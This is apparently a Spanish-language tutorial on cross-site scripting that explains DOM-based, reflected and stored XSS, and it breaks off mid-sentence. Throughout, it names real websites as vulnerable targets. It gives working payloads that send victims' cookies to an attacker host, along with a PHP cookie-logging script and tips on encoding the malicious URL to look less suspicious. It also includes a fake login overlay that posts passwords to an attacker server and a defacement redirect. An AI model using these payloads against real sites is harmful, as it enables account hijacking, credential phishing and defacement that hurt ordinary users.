============= Introduccin: ============= Cualquiera puede encontrar una gran cantidad de textos y manuales que traten sob re Cross

Site Scripting. El problema es que la mayora de esos textos no explican a fondo este tema. EEl objetivo de este texto es que entiendan a fondo este tipo de vulnerabilidad, que conozcan y descubran varios mtodos de ataque, y sepan com o protegerse contra el Cross Site Scripting. Para poder comprender este manual en su totalidad, es recomendable que sepan un poco de HTML, y de ser posible algo de JavaScript. El Cross Site Scripting (XSS) es una vulnerabilidad muy comn hoy enda, se puede en contrar en la mayora de las aplicaciones web en Internet. Mucha gente ve el XSS como una vulnerabilidad obsoleta, y con este manual voy a demostrar que si se sabe como explotar, puede ser de gran provecho. No por ser u n fallo muy comn deja de ser importante. Este fallo compromete ms que nada, la seguridad del usuario y no la del servidor. Consiste en inyectar cdigo HTML o Javascript en una aplicacin web, con el fin de que el navegador de un usuario ejecute el cdigo inyectado al momento de ver la pgi na alterada. Comnmente el XSS se utiliza para causar una accin indebida en el navegador de un u suario, pero dependiendo de la vulnerabilidad, puedes explotar el fallo para cau sar una accin indebida en un servidor o en una aplicacin. Esta limitacin se debe a que el cdigo HTML se interpreta en el navegador de un usu ario y no en el servidor. As que si alguien inyecta cdigo HTML en alguna aplicacin web no podra hacer dao alguno al servidor, ya que ste nunca interpreta el cdigo HTML , solo los navegadores. Por eso este ataque se determina: ataque del lado del cliente . El XSS se puede utilizar para hacer phishing, robo de credenciales, troyanizar navegadores, o simplemente para hacer un deface. Todo depende de la pgina. ==================== Cmo sucede el XSS? ==================== Con este manual me ir desde lo ms bsico. En muchos textos de XSS que he visto dicen algo como: Ve a algn formulario de bsqueda de una web y pon: <script>alert();</script>[/color] si sale una ventanita es vulnerable Y entonces quien lee el manual, y no tiene idea de XSS, no entiende porque suced e sto, y nunca podr poder saltarse un filtro de XSS, y jams podr inyectar cdigo fuera de un formulario. Explicar la vulnerabilidad de modo que se entienda a fondo el por qu de sta. Lo primero que se debe lograr al querer explotar alguna aplicacin con XSS, es iny ectar cdigo HTML a la web; es decir, lograr incluir HTML escrito por nosotros en

el cdigo fuente de la pgina. Analizaremos el mtodo ms sencillo y popular: el del formulario de bsqueda xD. Tomemos como ejemplo: http://www.pan.senado.gob.mx Si vamos a la pgina, podemos ver en la parte izquierda superior, debajo del logo del pan, un pequeo campo de texto que dice Bsqueda . Este es el campo vulnerable a inyeccin HTML. A continuacin, ponemos en el campo de bsqueda rastan xD, y le damos clic en buscar, esperamos a que se cargue la pgina y podemos observar el texto: Resultados de buscar: rastan No se encontraron resultados de Resultados de buscar: rastan (No se encontraron resultados DE RESULTADOS? xD ) Analizando este resultado (de resultado xD) podemos ver que la pgina probablemente es vulnerable a XSS. Por qu? Miremos el cdigo fuente: <tr> <td width="100%" height="99%" class="TituloPag"> Resultados de buscar: rastan </td> </tr> La cadena rastan , que nosotros le dimos al servidor, es incluida en el cdigo fuente de la pgina, mmm.. y si le damos alguna otra cadena al servidor? Qu tal si intentamos algo como: <h1>pricka</h1>? Probemos En el navegador: Resultados de buscar: pricka En el cdigo fuente: <tr> <td width="100%" > Resultados de buscar: <h1>pricka</h1></td> </td </tr> Genial, es vulnerable. El cdigo que escribimos en el campo de bsqueda se incluyo e n el cdigo fuente de la pgina como si fuera parte de sta, y nuestro navegador inter pret el cdigo. Esto es Cross Site Scripting. Otro modo de inyectar el cdigo sera darle el valor de bsqueda a travs de la URL: http://www.pan.senado.gob.mx/resultados.php?txttexto=hola En conclusin: la vulnerabilidad de XSS ocurre cuando la pgina permite al usuario incluir cdigo en la pgina. De qu nos sirve? Ahora veremos varios tipos de bugs, mtodos de inyeccin y tipos de ataque ========================= Tipos de vulnerabilidades ========================= Existen 3 tipos conocidos de Vulnerabilidades XSS.

El tipo-0, que se utiliza para ejecutar cdigo remotamente con los permisos de otro usuario. El tipo-1, ataque no-persistente o reflejado (explicado ms adelante) utilizado en pginas no estticas. Y el tipo-2, ataque persistente, donde se inyecta cdigo en pginas estticas. Estos tipos de vulnerabilidades son en los que se basan todos los dems ataques. Es importante que el lector analice estos tres tipos de ataques para identificar en que reas son peligrosos, que se puede lograr con ellos, y como prevenirlos. Tipo-0 : Esta vulnerabilidad es conocida como: DOM-Based cross-site-scripting o cross-site-scripting local . Es un ataque poco usual y talvez algo complicado de explicar. No tratar esta vulnerabilidad a fondo, pero este manual hace un buen trabajo explicndola: http://www.webappsec.org/projects/articles/071105.shtml La diferencia entre el tipo-0 y los otros tipos de ataque, es que el cdigo se inyecta a travs de la URL pero no se incluye en el cdigo fuente de la pgina. Es decir, el cdigo nunca lleg a la pgina, solo se ejecut en el navegador. Esto nos podra servir de modo que, le demos una URL maligna a alguna vctima que tenga alguna pgina hospedada en su mquina y, cuando la vctima le da la URL a su navegador el cdigo se ejecuta en su navegador, dicho cdigo podra realizar alguna accin en la pgina hospedada por la vctima, y como fue ejecutado en el navegador de la vctima tambin se ejecuta con los permisos que tiene la vctima en su mquina. Esto podra llevar a realizar alguna accin remotamente en la pgina de la vctima, como si este usuario las hubiera realizado. De una forma a grandes rasgos: el tipo-0 ejecuta cdigo remotamente en la mquina de un usuario con los permisos de este usuario. Veamos un ejemplo de esta vulnerabilidad. Imaginemos que la siguiente: pgina (www.vulnerable.com/index.html) tiene el siguiente cdigo: <HTML> <TITLE>Bienvenido!</TITLE> Hola <SCRIPT> var pos=document.URL.indexOf("nombre="+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Bienvenido a nuestra pgina </HTML> La pgina anterior se utilizara para darle la bienvenida a algn usuario por su nombr e, ejemplo: http://vulnerable.com/index.html?nombre=piupert

Esto mostrara algo como: Hola piupert Bienvenido a nuestra pgina De cualquier modo, una peticin del siguiente modo: http://vulnerable.com/index.html?nombre=<script>alert();</script> Dara resultado a un XSS. Veamos por qu: El navegador de la vctima visita el enlace, hace una peticin HTTP a vulnerable.com y recibe la pgina index.html. Despus el navegador empieza a interpretar el HTML de la pgina y forma la estructura del documento. El documento contiene un objeto llamado document , que contiene una propiedad llamada URL , y esta propiedad es remplazada por la URL de la pgina actual, como parte de la estructura del documento. Cuando el intrprete llega al cdigo Javascript lo ejecuta y modifica el HTML en bruto. En este caso, el cdigo hace referencia a document.URL , y entonces, esta cadena es incluida en el HTML al momento de interpretar el cdigo, despus es inmediatamente interpretada y ejecutada en el contexto de la misma pgina, por lo tanto la condicin XSS. Nota: La inyeccin maligna nunca fue incluida en el HTML en bruto (en cambio a los otros tipos de XSS). Este ataque solo funciona si el navegador no modifica los parmetros de la URL. (Ejemplo: < %3C ). En el ejemplo anterior todava se puede discutir que la inyeccin si lleg al servidor (en el ?nombre= de la peticin HTTP), y por lo tanto puede ser detectado como cualquier ataque XSS. Pero an as esto podemos arreglarlo. Consideren el siguiente ataque: http://vulnerable.com/index.html#name=<script>alert();</script> La almohadilla (#) le dice al navegador que todo lo que va despus de ella es un fragmento, y no parte de la peticin. Los navegadores no mandan los fragmentos al servidor, as que el servidor solamente vera: http://vulnerable.com/index.html logrando que ni el servidor vea la inyeccin, esta tcnica de evasin evita que los na vegadores enven la inyeccin al servidor. Lo que realizan muchas aplicaciones web para evitar inyecciones al servidor, es utilizar funciones que analizan todos los datos que manda el navegador con el fin de que si se encuentra alguna inyeccin, se elimine. Este mtodo de proteccin es inefectivo contra este tipo de ataques, porque si los datos nunca llegan al servidor estos no pueden ser analizados. As se logra el XSS tipo-0. El navegador ejecuta cdigo localmente, cdigo que el servidor no incrust en una pgina , sino que el navegador incrust el mismo. As si la vctima tiene una pgina vulnerable en su mquina (o en otro servidor), puedes realizar acciones remotamente como si las hubiera hecho otro usuario.

Escenario de ataque tipo-0 Veamos el siguiente ejemplo. La vctima tiene un blog en: http://victima.blog.com El blog utiliza cookies, por lo tanto siempre que la vctima entra a su blog ya se encuentra iniciado en su cuenta de administrador. Cuando la vctima deja comentarios en el blog hace una peticin as: http://victima.blog.com/comment.php?nick=admin&comment=comentario El atacante enva la siguiente URL maliciosa a la vctima: http://vulnerable.com/index.html#name=<script>window.location= http://v ictima.blog.com/comment.php?nick=admin&comment=Hacked_by_Atacante La vctima hace clic en el link, su navegador ejecuta el script y redirecciona al blog de la vctima dejando un comentario. La accin al ser ejecutada en la mquina de la vctima se realiza con los permisos que tiene la vctima sobre su blog (administrador), y deja el comentario. Al principio puede sonar inefectivo o riesgoso tener que mandar un link a la vctima. Ms adelante voy a dedicar una parte del tuto para poder explicar varias formas de hacer esto. Obviamente, nunca va a ser 100% seguro que la vctima caiga en nuestra trampa, pero es algo que tenemos que saber hacer ya que los ataques tipo-0 y tipo-1 emplean estos tipos de ataque. Esta es la razn por la que la gente suele ver el XSS como un ataque muy limitado, para esas personas: pinsenlo dos veces. El nico lmite que tenga este ataque ser el que tu le pongas, si se sabe aprovechar el XSS de forma correcta puede ser un ataque peligroso. Con esto termino de explicar el cross-site-scripting tipo-0... Tipo-1 Es probablemente la vulnerabilidad ms comn que hay, por lo usual se encuentra en motores de bsqueda. El tipo-1 es una vulnerabilidad nopersistente o reflejada. Este agujero de seguridad sucede cuando un servidor genera una pgina instantnea de resultados de acuerdo a informacin proporcionada por el navegador (ejemplo: una bsqueda). Si los datos proporcionados por el navegador no son validados y se incluyen en el cdigo fuente de la pgina, hay XSS. El cross-site-scripting tipo-1 tampoco parece ser un problema de seguridad muy serio, ya que la inyeccin solo se puede realizar en pginas no estticas. Pero como ya he dicho antes, si se sabe aprovechar la vulnerabilidad le puedes dar gran utilidad. Con un poco de ingeniera social un atacante puede lograr que un usuario entre a una pgina que contiene cdigo inyectado. Ya que para realizar este tipo de ataques se requiere ingeniera social, muchos programadores no le dan importancia a este bug, GRAVE ERROR. Cualquier aplicacin que le permita a un usuario inyectar cdigo

en la pgina (sea cual sea), compromete la seguridad tanto del sitio como de sus usuarios. El XSS es una vulnerabilidad y debe ser tomada como tal, se puede explotar y ser usada para malos fines. Cualquier programador que quiera tener programacin segura debe considerar todas las posibilidades de violacin. El tipo-1 es una vulnerabilidad no-persistente inyeccin no es una pgina que vern todos los pgina que existe o se mantiene en el servidor se genera cuando un usuario proporciona cierta aplicacin. porque la pgina con la usuarios. Tampoco es una (pgina esttica), slo informacin a alguna

Se llama vulnerabilidad reflejada porque para realizar un ataque, el cdigo inyectado primero pasa del navegador al servidor, y luego del servidor a otro navegador; como si fuera un reflejo. La preparacin del ataque es muy sencillo. Se debe identificar la variable vulnerable a inyeccin de cdigo en la pgina, y formar una URL maligna. Escenario de ataque tipo-1: Tomemos como ejemplo http://www.pan.senado.gob.mx. La pgina web cuenta con una aplicacin en la que los usuarios pueden ingresar a su cuenta (esquina derecha superior). Y como ya vimos antes, tiene una aplicacin de bsqueda vulnerable a inyeccin de cdigo: http://www.pan.senado.gob.mx/resultados.php?txttexto= El atacante identifica a su vctima. La vctima tiene una cuenta en la web vulnerable: [email protected]. Despus el atacante forma una URL maligna, en la que inyecta cdigo para guardar la cookie del usuario en su servidor. http://www.pan.senado.gob.mx/resultados.php?txttexto=<script>window.loc ation= http://atacante.com/xss.php?cookie= +document.cookie</script>[/font] El link es enviado y se convence a la vctima que visite la pgina. La vctima visita la pgina, su navegador enva su cookie al servidor del atacante permitindole acceder en la cuenta de la vctima. Muy bien, talvez ests pensando: Qu estpido va a dar clic en un link as? . Jajaja, ms tarde explicar este mtodo de ataque ms a fondo, mostrando como hacer el ataque un poco menos obvio. Comparando el ataque tipo-0 al tipo-1, nos podemos dar cuenta de una diferencia muy grande. En el tipo-1 el servidor procesa la inyeccin enviada por el usuario y la incluye en el cdigo de la pgina. Pero en el tipo-0 la inyeccin nunca llega al servidor, no es un ataque tipo reflejo como el tipo-1. La informacin sale del navegador y entra al navegador. La similitud entre el tipo-0 y el tipo-1 puede variar muy poco, pero estos pequeos aspectos pueden marcar la diferencia de un ataque a otro. Es importante que un atacante o un programador se ponga a analizar ambas vulnerabilidades, a tomar en cuenta las maneras en las que pueden ser explotadas. La inyeccin a una pgina web se puede realizar de varias maneras, no nos debemos de limitar a pasar parmetros por la URL. Habr veces en las que tendremos que analizar una aplicacin web ms a fondo para

encontrar algn bug de este tipo. Ms adelante explicar los mtodos que he usado, y las utilidades que se le pueden dar al bug. Tipo-2 : Esta vulnerabilidad permite hacer los ataques ms peligrosos y poderosos a las aplicaciones web. Es conocida como vulnerabilidad persistente o almacenada. La diferencia de este cross-site-scripting a los anteriores, es que la inyeccin se hace en una pgina esttica. La informacin proporcionada por el usuario es almacenada en la base de datos, en el sistema de archivos o algn otro lugar; despus es mostrada a otros usuarios que visiten la pgina, por eso se dice que la vulnerabilidad persiste . Esto es lo poderoso del tipo-2, la inyeccin se quedar siempre en alguna parte de la web, no estar en una pgina que se genera cada vez que se pasa informacin al servidor. Las posibilidades de esta vulnerabilidad son muy amplias. Se puede realizar desde un robo de cookies o troyanizacin de navegadores masivos, hasta un deface de la pgina. Encontrar este tipo de aplicaciones vulnerables a inyeccin es difcil, y se tienen que buscar mtodos para evadir los sistemas de validacin; esto lo explicaremos ms tarde. Un ejemplo tpico de este tipo de vulnerabilidades son los foros de discusin, los libros de visita o los tagboards. Si se logra inyectar cdigo en un mensaje de estos sistemas, todos los usuarios que carguen la pgina con el mensaje son afectados al fallo. Escenario de ataque tipo-2 El atacante descubre como inyectar cdigo en un foro de discusin de la web http://vulnerable.com. Las posibilidades que puede realizar son varias: Inyectar cdigo que robe las cookies de todos los usuarios que lean el mensaje. Obteniendo un gran nmero de cuentas en el foro. Inyectar cdigo que redireccione la pgina a una pgina externa, logrando hacer un deface. Troyanizar un gran nmero de navegadores de usuarios. En el caso 1, el atacante obtendra acceso a la mayora de las cuentas del foro (incluyendo la del administrador), ingresando como ellos teniendo privilegios importantes sobre el foro. En el caso 2 el atacante realizara un deface a la pgina, haciendo que alguna pgina externa aparezca en el documento. En el caso 3 el atacante tomara un control remoto sobre muchos navegadores aprovechndose de ellos para ejecutar comandos remotamente. ===================== Mtodos de inyeccin y tipos de ataques =====================

Lgicamente antes de realizar un ataque XSS a una web debemos de descubrir si la web es vulnerable. Para identificar el bug no nos debemos limitar a formularios de bsqueda. Existen varios mtodos de inyectar cdigo en una aplicacin que suelen ir ms all de los formularios. El XSS es una forma especial de ataque contra la validacin de los parmetros de entrada. La diferencia principal entre un ataque XSS y algn otro ataque de inyeccin (SQL por ejemplo) es que el objetivo en este caso suelen ser los usuarios de la aplicacin, ms que la propia aplicacin. Por ejemplo, en un ataque por inyeccin SQL se intentar acceder o modificar datos de la base de datos de la aplicacin, mientras que en un ataque XSS se introducir un troyano en el navegador web de la vctima (por troyano me refiero a una aplicacin que se ejecutar en el navegador sin que el usuario sea consciente de ello). Este troyano puede ser hecho en lenguajes que se ejecutan de la parte del cliente, como por ejemplo JavaScript. Los ataques XSS tampoco se limitan al robo de cookies, como ya he dicho antes, el ataque puede variar dependiendo de cada situacin. Se puede aprovechar alguna vulnerabilidad conocida del navegador (acceso arbitrario de ficheros, manipulacin de cookies, o algo parecido) para tener un mayor control sobre la mquina, y no solamente, el navegador de la vctima. Siendo el XSS un ataque contra la validacin de entradas, para encontrar bugs en un sistema, debemos identificar todas las aplicaciones que reciban datos del usuario de todas las maneras posibles. Inyeccin a un formulario El ataque ms sencillo es la inyeccin al formulario que genera una pgina a partir de la entrada del usuario. Anteriormente vimos un ejemplo de este tipo de ataque. El ataque consiste en inyectar cdigo en un formulario que despus de enviar la informacin al servidor, ser incluido en el cdigo fuente de alguna pgina, ya sea persistente o no-persistente. Despus lograr que de alguna forma (dependiendo si la pgina con la inyeccin es persiste o no-persistente) que el usuario vea la pgina con la inyeccin. Existen filtros que validan los campos de entrada del formulario para identificar inyecciones y eliminarlas. No obstante, no todos los campos son filtrados, por eso se debe de tratar hacer inyeccin por todos los campos posibles. Ms adelante trataremos el tema de los filtros. Inyeccin por medio de elementos No siempre que el navegador enve datos al servidor lo va a realizar por medio de un formulario. Tambin debemos tomar en cuenta y hacer bsqueda de elementos. Un elemento podr ser cualquier valor establecido por el usuario o por la aplicacin y que viaja entre el navegador y la aplicacin. En la pgina de registro, podemos estudiar el siguiente elemento en los parmetros de la URL: http://my.images.hack/registration/index.php?user=wawa

<td> <input type="text" name="user" id="user" value="wawa" style="width:300px;" maxlength="16" onkeydown="if(event.keyCode==13) do_register();"/> </td> Si accedemos a esta pgina podremos ver como la cadena wawa aparece en una caja de texto. Si la aplicacin inserta datos introducidos por el usuario en el cdigo de la pgina, podemos encontrar una forma de vulnerar la aplicacin para inyectar cdigo. Intentemos con user= <script>alert();</script> : <input type="text" name="user" id="user" value="<script>alert();</script>" ..> El cdigo est en la pgina, sin embargo como se encuentra dentro de los atributos de otra etiqueta no funciona correctamente. Pero aqu entra lo interesante de la inyeccin: trataremos de inyectar cdigo de modo que el script quede afuera de la etiqueta input . Vamos de nuevo user= "><script>alert();</script> Y el resultado en el cdigo es este: <input type="text" name="user" id="user" value=""><script>alert('x');</script><" style="width:300px;" maxlength="16" onkeydown="if(event.keyCode==13) do_register();"/> esaaaa! Podemos ver como se mostr la alerta. Si analizamos la inyeccin podemos ver como comenzamos con comillas y despus abrimos la etiqueta, cuando el servidor inserta esto en la pgina la etiqueta input es cerrada porque la inyeccin comienza con : > <input type="text" name="user" id="user" value=""> As cerramos la etiqueta y despus se incrusta el resto del cdigo, logrando que el navegador interprete el cdigo de la forma deseada. En el ejemplo pasado vimos 2 cosas: la inyeccin por medio de elementos y la ruptura de etiquetas. Para reafirmar las cosas, aqu hay un pequeo reto. Encontrar la forma de inyectar cdigo a la conocida pgina de bsqueda de imgenes: iStockphoto. La URL a la que le debes de realizar la inyeccin es la siguiente: http://www.istockphoto.com/file_search.php?action=file&text= Solucin: Antes que nada debemos identificar por medio de qu elemento vamos a realizar la inyeccin, eso est claro, la variable text . Si intentamos inyectar <script>alert( realizado );</script> el cdigo no se ejecuta... Si ahora tratamos de inyectar:

"><script>alert( realizado );</script> El cdigo es ejecutado por la ruptura de etiqueta que hacemos con el >. Tambin podrs haber notado que cuando envas algo por el campo de bsqueda, los datos se envan a travs de la variable text . Vindolo desde este punto la inyeccin no es concretamente una inyeccin por medio de elementos ya que tambin se pueden enviar los datos a travs de un formulario. Lo correcto es que la inyeccin debe ser hecha por medio de elementos para que funcione. Si envas los datos desde el formulario, la cadena es codificada. Y pasara de ser "><script>alert();</script>, a %22%3E%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E. Si la cadena codificada se incrusta al cdigo, la inyeccin ya no funciona, por eso esto debe ser una inyeccin por medio de elementos. Inyeccin por medio de recursos Ahora estudiaremos los mtodos de entrada alternativos, fuera de formularios y parmetros de URL. Sera bastante difcil poder enlistar todos los mtodos aqu, ya que, adems de que son muchos los mtodos conocidos, el mtodo puede variar de aplicacin a aplicacin. Aparte de los elementos en la URL y los formularios, hay otra forma en la que los datos tambin se transfieren: Las cabeceras HTTP. Estas cabeceras son mensajes con los que se comunican el navegador y el servidor, utilizados para especificar informacin del cliente/servidor y para enviar informacin. Si me pongo a explicar todo acerca de las cabeceras me saldr mucho del tema, pero les recomiendo leer algun artculo sobre esto. Las cabeceras envan varios datos al navegador, cmo saber que mensajes utilizaremos para inyectar cdigo?, todo puede variar. Analicemos una aplicacin vulnerable a inyeccin por medio de cookies. Por si hay alguien que no sabe como funcionan las cookies, har una breve explicacin. Cuando entras a alguna pgina web en donde tienes la posibilidad de ver informacin personalizada, a menudo tienes que dar primero tu nombre de usuario y contrasea para poder ver esta informacin. Seguramente has notado como hay casos en los que al momento de entrar a una pgina web, ya te encuentras iniciado en tu sesin sin la necesidad de haber proporcionado tus datos a la aplicacin, esto es por el uso de cookies. Una cookie es un archivo que contiene varios datos sobre un usuario, como nombres de usuario, la ltima vez que iniciaste sesin, etc. Las cookies las manda el servidor al navegador del usuario, y luego el navegador las registra en alguna parte de la mquina del usuario. Al momento de entrar a una pgina, la aplicacin busca en el navegador del usuario cookies que la aplicacin le haya dado. En el caso del inicio de sesin automtico, al momento de proporcionar tu nombre de usuario y contrasea a la aplicacin, sta guarda los valores en una cookie (cifrados, por supuesto) y despus el navegador los guarda. Cuando el navegador vuelve a visitar la pgina, la

aplicacin busca cookies que hayan sido guardadas y encuentra la cookie con el nombre de usuario y contrasea cifrados. Entonces la aplicacin descifra los datos y los procesa. As funciona el manejo de cookies, y el inicio de sesin automtico. Veamos el caso de un tagboard vulnerable. Al momento de que tu dejas un comentario con tu nick en el tagboard, el tagboard guarda una cookie en tu navegador con el valor de tu nick. Cuando vuelves a dejar un comentario ya no es necesario proporcionarle tu nick al tagboard, puesto que la aplicacin lo extrae desde tu cookie, lo almacena en la variable $usuario, y luego lo imprime en el tagboard de la siguiente manera: echo <b>Comentario por: <i>$usuario</i></b><br />

Se puede suponer que el tagboard es vulnerable, porque generalmente la informacin recibida por medio de la cookie no es filtrada. Si dejamos un comentario en el tagboard, y realizamos un ataque MitM (Man-in-theMiddle) podemos interceptar las cabeceras del navegador y cambiar el valor de usuario en la cookie, por algo as: usuario=<script>alert( Vulnerable );</script>; Cuando la variable $usuario, sea sustituida en el cdigo PHP, el cdigo quedar as: <b>Comentario por: <i><script>alert( Vulnerable );</script></i></b> El navegador al interpretar el cdigo de la pgina, dar como resultado un XSS. De esta manera inyectamos cdigo en la pgina de una manera que va fuera de los formularios y los elementos. Otra manera de inyectar cdigo podra ser utilizando el campo Referer , o los campos de IP que se envan en las cabeceras de una peticin. Para conocer por que medios se puede realizar una inyeccin a una aplicacin, se debe de estudiar y analizar la aplicacin para encontrar alguna forma de vulnerarla. Un programador seguro valida todos los campos de entrada, en los que una inyeccin de cdigo puede ser efectuada. Tambin existe otro tipo de inyecciones muy populares. Este tipo de ataques consiste en inyectar cdigo en una aplicacin Flash, o en un Video. Cualquiera que tenga conocimientos de Flash y ActionScript, puede hacer una aplicacin .swf que ejecute scripts al ser ejecutada. Despus se puede encontrar la forma de subir o mostrar esta animacin en una pgina como MySpace o Hi5, para que al momento que otro usuarios carguen la pgina junto con el flash, ejecuten el script. Tambin hay una vulnerabilidad que est haciendo de MySpace toda una arena de juego xD. La vulnerabilidad consiste en inyectar cdigo Javascript en videos quicktime, y estos videos pueden ser incrustados en pginas como MySpace. As que al igual con el flash, cuando el video es cargado por un navegador, el script es ejecutado y esto da resultado a un XSS. Son varias las maneras en las que se pueden realizar las inyecciones, a continuacin dejo un video sobre la inyeccin de Javascript en videos quicktime: (XSS injection in image formats // Taking advantages on it) http://www.milw0rm.com/video/

Siempre habrn nuevos mtodos de inyeccin de cdigo a aplicaciones web, lo importante es entender como funcionan estas inyecciones. Ahora trataremos las posibilidades que se nos abren al encontrar una vulnerabilidad de Cross Site Scripting. Ataque Credential Theft: El ataque Credential Theft o de Robo de credencial consiste en robar los mtodos de autentificacin de un usuario para una pgina, para poder ingresar a su cuenta sin la necesidad de saber su contrasea. Este ataque es probablemente el ms conocido y ms aplicado hablando de vulnerabilidades XSS, y se pueden encontrar una infinidad de textos sobre esto, an as explicar el ataque. Una credencial de cualquier recurso de informacin que utilice una mquina para autentificarse ante una aplicacin, sin la necesidad de que el usuario la proporcione. Anteriormente vimos que eran las cookies, como funcionaban, y como se lograba el inicio de sesin automtico en aplicaciones web. En este caso la cookie es una credencial. Si podemos robar la credencial de otro usuario, y cambiar el valor de sta por el valor de nuestra credencial, al momento de presentar nuestra credencial ante la aplicacin ingresaramos como el otro usuario. As es como se logra un robo de credencial o falsificacin de sesin . El XSS es un mtodo de robar credenciales. Ya hemos visto en un caso anterior, un ejemplo de robo de cookies a un usuario, ahora es momento de analizar el ataque a fondo. En Javascript, hay una variable predefinida llamada document.cookie , esta variable contiene el valor de la cookie de la sesin actual. Podemos sacar ventaja de esto para enviar el valor de una cookie de una pgina a otra. Tomar el ejemplo de la vulnerabilidad que encontr en la pgina de postales electrnicas: http://www.gusanito.com. Resulta que el campo en donde se escribe el mensaje de la postal es vulnerable e XSS. Por lo que podemos inyectar cdigo en la postal, enviarla por correo a una vctima, y al momento que el navegador de la vctima vea la postal ejecutar el cdigo que nosotros inyectamos. Primero que nada, el atacante programar una aplicacin que guarda el valor de la cookie en un fichero. El cdigo del programa puede ser as: <? $cookie = $_GET['cookie']; $fichero = fopen("cookies.txt","a"; fwrite($fichero, "$cookie \n"; fclose($fichero); ?> El atacante guarda el cdigo en http://atacante.com/robo.php.

Esta aplicacin recibe una variable

cookie por medio de la URL

http://atacante.com/robo.php?cookie=valor_de_cookie y luego la guarda en un archivo. Ahora en la postal podemos inyectar esto en el mensaje: <script> window.location= http://atacante.com/robo.php?cookie= +document.cookie; </script> La orden window.location redirecciona el navegador a la URL especificada. Tambin podemos darnos cuenta de que la variable document.cookie es incluida en la URL por medio del operador + . Este operador aadir el valor de document.cookie a la URL, y el navegador ser redireccionado a la siguiente direccin: http://atacante.com/robo.php?cookie=cookie_del_usuario Despus el programa robo.php almacenar el valor de la cookie en el archivo cookies.txt. Ms tarde el atacante podr ver el valor de la cookie de la vctima, y acceder a la cuenta del usuario sin necesidad de saber su contrasea, remplazando el valor de la cookie de la vctima por el valor de su cookie. Este ataque es slo un ejemplo, se puede arreglar ms para que sea menos sospechoso. Como la postal enviada al usuario es una pgina esttica, ahora veremos como hacer esto con una vulnerabilidad en una pgina no esttica. Veamos el ejemplo estudiado anteriormente de la web http://www.pan.senado.gob.mx donde la aplicacin de bsqueda es vulnerable a XSS. Si la variable txttexto es vulnerable a inyeccin, podemos formar la siguiente URL maligna: http://www.pan.senado.gob.mx/resultados.php?txttexto=<script>window.loc ation= http://atacante.com/robo.php?cookie= +document.cookie;</script> Si enviamos esta URL a una vctima que tenga una cuenta en la pgina, y logramos que de clic en el enlace, cuando entre a la pgina el cdigo ser incrustado en la pgina y posteriormente ejecutado. Causando que la pgina redireccione al navegador al programa del atacante enviando el valor de su cookie. Se puede codificar la URL para que se vea menos obvia, y quedar del siguiente modo: http%3A//www.pan.senado.gob.mx/resultados.php%3Ftxttexto%3D%3Cscript%3E window.location%3D%u2019http%3A//atacante.com/robo.php%3Fcookie%3D%u201 9+document.cookie%3B%3C/script%3E Puedes encontrar un codificar de URL en la siguiente pgina: http://www.neosecurityteam.net/encode/

Esto fue el ataque de robo de credencial. Yo creo que es el ataque ms explotado en cuestin de ataques XSS, donde el principal objetivo del ataque es el usuario de una pgina. Los administradores pueden identificar esta ataque porque tienen ms conocimientos sobre esto, pero los usuarios normales son totalmente vulnerables a estos ataques. An as hay administradores que bueno, ni hablar xD. Nunca descartes la posibilidad de sacarle ventaja a este ataque. Y si realizas el ataque por un mtodo parecido al de las postales, haciendo inyeccin en pginas estticas, el ataque ser mucho ms difcil de identificar porque el script maligno no se ve en la URL Ataque phishing: Este ataque es uno muy divertido. El phishing es crear un clon de una pgina, y hacerle creer a una vctima que navega en la pgina original cuando en realidad est navegando en la pgina falsa. Una vez que el usuario se encuentre en esa pgina, se le pide informacin de su cuenta, como nombres de usuario y contraseas; toda esta informacin es almacenada para que despus el atacante recolecte la informacin. El ataque trabaja bsicamente de la siguiente forma: el atacante encuentra un bug de XSS en una pgina (sea esttica o no-esttica) e inyecta cdigo que redirecciones el navegador hacia otra pgina, exactamente igual a la original. Luego el atacante logra de alguna manera que la vctima vea la pgina con la inyeccin, y al momento que su navegador sea redireccionado la vctima pensar que se encuentra navegando en la pgina original de forma segura. La inyeccin se puede lograr de varias maneras. Una forma es redireccionar el navegador con la funcin window.location hacia otro sitio: <script>window.location= http://sitio-falso.com/ ;</script> Otro mtodo sera crear una capa de un tamao grande, de modo que cubra el contenido original de la pgina: <div id=layer1 style="position:absolute; top:0; left:0; width:1000; height:900; zindex: 1; background-color:#000000;"><center><h1>LOGIN PAGE</h1><BR><form action= http://servidor-atacante.com/login.php method= post>Contrasea:<input type= password ><input type= submit ></form><center></div> La etiqueta div crea una capa que cubre toda la pgina, y esta capa contiene el contenido falso que pide la contrasea del usuario y lo enva hacia nuestro servidor. La forma de hacer que la vctima vea la pgina falsa puede variar mucho, tambin se puede llamar a una pgina por medio de un frame gigante. Para hacer el clon de la pgina no se requiere mucho esfuerzo, basta con copiar todo el cdigo fuente de la pgina original y modificarlo un poco para que se vean todas las imgenes, y por supuesto, para que todos los datos que enva la pgina sean enviados al servidor del atacante en vez del servidor original. Luego en el servidor de la pgina el atacante posee un programa que almacena todos los datos recibidos. El XSS es solo una de las varias maneras que hay para hacer phishing,

debido a su variedad y extensin no hablar a fondo de el ataque, pero puedes encontrar una gran cantidad de informacin en Internet. Ataque tipo deface Y como habamos dicho antes, el XSS no se puede utilizar para daar un servidor, pero eso no significa que no podamos hacer un deface. Si una pgina esttica es vulnerable a XSS, significa que tambin es vulnerable para un deface. Este tipo de deface es muy fcil, y muchas personas lo consideran algo lammer, pero lo explicar de todas formas. El primero objetivo es identificar un rea donde poder hacer inyeccin, y despus inyectar cdigo que mueva el navegador hacia otra pgina, o inyectar un div que cubra el contenido de toda la pgina. Sencillo no? Veamos el siguiente ejemplo: Tenemos un sitio web que en la pginaprincipal, tiene una lista todas las secciones de la web. El cdigo fuente es algo as: <select> <option>Home</option> <option>Gallery</option> <option>Links</option> <option>Contact</option> </select> Supongamos que por medio de exploracin de directorios, encontraste una pgina que utiliza el administrador para aadir nuevas secciones a la web. Dicha aplicacin contiene un campo de texto donde el administrador ingresa el nombre de la nueva seccin. Entonces tu creas una nueva seccin con el nombre pricka , envas el formulario y cuando vemos el cdigo de la pgina principal observamos esto: <select> <option>Home</option> <option>Gallery</option> <option>Links</option> <option>Contact</option> <option>pricka</option> </select> As que la aplicacin incluy los datos que nosotros ingresamos en el cdigo fuente de la pgina, esto significa que podemos hacer inyeccin. Teniendo acceso a la seccin de agregar secciones a la pgina, no podemos hacer casi nada, a menos de que queramos defacear y realicemos la siguiente inyeccin: wawa</option></select><script>window.location= http://web.com/hacked.htm </script> De modo que 